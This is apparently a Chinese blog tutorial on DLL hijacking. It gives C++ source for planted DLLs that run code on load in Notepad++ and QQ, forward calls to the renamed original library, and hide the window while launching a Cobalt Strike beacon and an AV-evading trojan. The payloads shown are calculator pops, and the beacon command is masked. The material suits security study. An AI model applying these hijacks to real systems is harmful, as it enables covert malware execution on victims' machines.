dll劫持技术入门及实践

  1. dll劫持技术入门及实践
  2. 基础知识
  3. 手动劫持
    1. 劫持应用中没有的dll
    2. 劫持应用中存在的dll
  4. 使用工具劫持
    1. 直接转发
      1. cs上线小实例
    2. 即时调用

dll劫持技术入门及实践

基础知识

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件。

在windows平台下,很多应用程序的很多功能是相似的,抛去ui等等来说,大致的功能都差不多,比如都得调用窗口,都得调用内存管理的模块来分配内存,都得调用io模块去进行文件操作,读写文件等等,这些模块的具体表现就是DLL文件。

Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

DLL路径搜索目录顺序:
1.程序所在目录
2.程序加载目录(SetCurrentDirectory)
3.系统目录即 SYSTEM32 目录
4.16位系统目录即 SYSTEM 目录
5.Windows目录
6.PATH环境变量中列出的目录
Know DLLs注册表项:
Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。
Know DLLs注册表项的路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

展示一个vs生成的dll文件模板

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄
                       DWORD  ul_reason_for_call, // 调用原因
                       LPVOID lpReserved // 参数保留
                     )
{
    switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式
    {
    case DLL_PROCESS_ATTACH: // DLL被某个程序加载
    case DLL_THREAD_ATTACH: // DLL被某个线程加载
    case DLL_THREAD_DETACH: // DLL被某个线程卸载
    case DLL_PROCESS_DETACH: //DLL被某个程序卸载
        break;
    }
    return TRUE;
}

手动劫持

劫持应用中没有的dll

根据网上教程做的,选的是notepad++ 6.6.6版本,做一个手动劫持的实验。

首先在虚拟机上装好这些东西(cff不用也可以,我后面用的,提前装了)

image-20220930135911913

然后Procmon.exe设置好相应的过滤器

image-20220930140008388

这样设置之后我半天没有找到相应的进程,所以我自己改了一下过滤规则,还换了个processmonitor的版本

image-20220930151634184

在进程中我们需要找到一个有loadlibrary相关的API的dll

这里的Msimg32.DLL

image-20220930151929423

就加载了这个。

那么为什么要找一个有loadlibrary相关的API的dll呢?
是因为如果该dll的调用栈中存在有 LoadLibrary(Ex),说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。
加载dll动态库时LoadLibrary与LoadLibraryEx的区别:
LoadLibrary和LoadLibraryEx一个是本地加载,一个是远程加载
若DLL不在调用方的同一目录下,可以用LoadLibrary(L"DLL绝对路径")加载。
但若被调DLL内部又调用另外一个DLL,此时调用仍会失败。解决办法是用LoadLibraryEx:
LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
通过指定LOAD_WITH_ALTERED_SEARCH_PATH,让系统DLL搜索顺序从DLL所在目录开始。

这样看来这个Msimg32.DLL就符合dll劫持的条件,我们通过dll模板去写一个加的Msimg32.DLL。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
# include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

用cs生成x86的之后替换掉。随后就可以发现,成功了!

image-20220930173924370

好耶(^▽^)

劫持应用中存在的dll

将这个改成成功

image-20220930175356979

然后找到一个名为SciLexer.dll的文件,发现他也加载了loadlibrary,

image-20220930181205935

我超肚子好痛o(╥﹏╥)o

然后这里要用到一个工具 apimonitor这工具

apimonitor 可让您监控和控制应用程序和服务发出的 API 调用。它是查看应用程序和服务如何工作或跟踪您自己的应用程序中存在的问题的强大工具。

使用这个工具是为了弄清楚,这个dll在实际运行的过程中调用的哪个导出函数,这个我们就需要使用apimonitor来进行监控。

那么为什么要用寻找导出函数呢?,是因为导出函数中的方法是可以被外部访问的。

.DLL 文件的布局与 .exe 文件非常相似,但有一个重要的差异:DLL 文件包含导出表。导出表包含 DLL 导出到其他可执行文件的每个函数的名称。这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。

image-20220930183926803

打开工具后,勾上这几个

随后挂钩notepad

image-20220930184724392

这时候就可以拿到他的导出函数了

之后就可以开始编写dll

编写dll时,有个重要的问题需要解决,那就是函数重命名——Name-Mangling。C++的编译器通常会对函数名和变量名进行改编,这在链接的时候会出现一个严重的问题,假如dll是C++写的,可执行文件是C写的。在构建dll的时候,编译器会对函数名进行改编,但是在构建可执行文件的时候,编译器不会对函数名进行改。这个时候当链接器试图链接可执行文件的时候,会发现可执行文件引用了一个不存在的符号并报错,那么如何解决这个问题呢?有几种方法。
第一种是用extern "C"、来告诉编译器不要对变量名和函数名进行改编,这样用C,C++或者任何语言编写可执行模块都可以访问该变量或者该函数。

第二种是给项目创建一个.def文件,.def文件会包含一下类似下面的EXPORTS段
EXPORTS
Myfunc
当链接器解析这个.def文件的时候,会发现被改编后的函数名比如_Myfunc@2和没被改编的函数名Myfunc都被导出,这俩函数名是匹配的(不考虑改编),然后链接器就会用.def文件中定义的名称也就是Myfunc来导出函数,而不是用_Myfunc@2。

第三种是还可以在源文件中添加# pragma comment(linker, "/export:[Exports Name]=[Mangling Name]")
比如 # pragma comment(linker, "/export:Myfunc=_Myfunc@2")
还需要知道
导出:__declspec(dllexport)
导入:__declspec(dllimport)

然后编译一下以下代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
# include <stdlib.h>

extern "C" __declspec(dllexport) void shiyixia();

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void shiyixa()
{
    system("calc");
}

替换掉文件夹中的那个东西

image-20220930191558372

打开之后,直接就弹了窗,但是没有notepad弹出来,

把代码中间的cala删掉

image-20220930191722491

去掉之后就失败了。当然这是个试错的过程,我们还可以使用dll转发技术。

保留原dll,恶意的dll的原因是要做两件事,一件事就是执行恶意代码,第二件事情就是转到正常的dll,来维持程序的正常运行。

但是转发依然没有成功,不过还是弹了计算机就对了。下面是转发的代码。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>

extern "C" __declspec(dllexport) void Scintilla_DirectFunction();

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void Scintilla_DirectFunction()
{
    HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
    if (hDll)

    {
        //typedef 是定义了一个新的类型
        //DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD
        //定义了类型EXPFUNC,并且返回类型是DWORD的函数的指针
        typedef DWORD(WINAPI* EXPFUNC)();
        EXPFUNC expFunc = NULL;
        expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
        if (expFunc)
        {
            expFunc();
        }

    }
    return;
}

使用工具劫持

直接转发

这里来劫持qq

用cff打开qq.exe的导入表

找一个不在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径里面的dll劫持,因为在这个路径里面的dll是优先加载的,加载之后已经进入内核空间,想要劫持难度很大。

这里找的是libuv.dll

image-20221002102747166

找到路径下的文件

image-20221002102932669

然后使用到aheadlib这个工具,输入dll就填QQ.exe路径下的libuv.dll,输出CPP会自动生成,原始DLL的名称要记住,等下会替换 libuvOrg

image-20221002103349853

打开cpp文件,新建一个vs dll项目,然后将.cpp的代码复制进去,并加上<windows.h><stdlib.h>头文件。

image-20221002104055270

然后在入口函数的地方填上一个弹出计算器的语句

image-20221002103903382

将原dll文件改名为之前在软件里面复制的名字libuvOrg.dll,并把我们生成的dll文件复制进去

image-20221002104259035

他妈的我这里怎么生成了两次喵

image-20221002104350538

嘛~至少目的也达到了

直接转发的原理就是当qq要调用我这文件的函数的时候,我们指定原来的org文件,让qq去调用那里面的函数。

cs上线小实例

代码改成我们的上线命令

image-20221002105542790

成功上线!但是还不够完美有个窗口弹出来,我们用命令行的start /b参数来隐藏

image-20221002105821744

但是还是有弹窗,通过了解可以使用这个函数来隐藏弹窗

WinExec("****", SW_HIDE);

image-20221002113353214

没弹窗了

image-20221002113533662

也成功通过加载免杀马上线

即时调用

也就是在前面工具选择的时候选择即使调用,只不过原理不一样了

image-20221002110553829

即时调用实际上是调用了劫持dll的某个函数,只不过那个函数会jmp到原本的dll中的相应函数的地址。达到的效果相同,但是实现的原理不同。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。